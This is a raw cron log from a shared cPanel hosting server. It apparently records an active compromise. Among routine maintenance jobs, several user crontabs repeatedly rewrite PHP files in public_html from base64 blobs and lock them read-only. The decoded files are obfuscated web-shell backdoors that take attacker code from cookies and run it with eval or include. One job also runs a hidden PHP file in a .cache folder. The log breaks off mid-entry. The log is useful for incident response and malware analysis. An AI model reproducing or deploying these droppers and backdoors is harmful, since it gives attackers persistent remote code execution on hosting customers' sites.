Apr 19 06:26:02 medusa CROND[8142]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:26:02 medusa CROND[8140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:26:02 medusa CROND[8143]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:26:02 medusa CROND[8145]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:26:02 medusa CROND[8152]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:26:02 medusa CROND[8154]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:27:01 medusa CROND[32482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:27:02 medusa CROND[32577]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 06:27:02 medusa CROND[32578]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:27:02 medusa CROND[32579]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:27:02 medusa CROND[32580]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:27:02 medusa CROND[32586]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:27:02 medusa CROND[32587]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:27:02 medusa CROND[32588]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:27:02 medusa CROND[32591]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:27:02 medusa CROND[32595]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:27:02 medusa CROND[32597]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:27:02 medusa CROND[32596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:28:01 medusa CROND[24233]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:28:01 medusa CROND[24235]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:28:01 medusa CROND[24236]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:28:01 medusa CROND[24237]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:28:01 medusa CROND[24238]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:28:01 medusa CROND[24241]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:28:01 medusa CROND[24245]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 06:28:01 medusa CROND[24246]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:28:01 medusa CROND[24250]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:28:01 medusa CROND[24252]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 06:28:01 medusa CROND[24249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:28:01 medusa CROND[24253]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 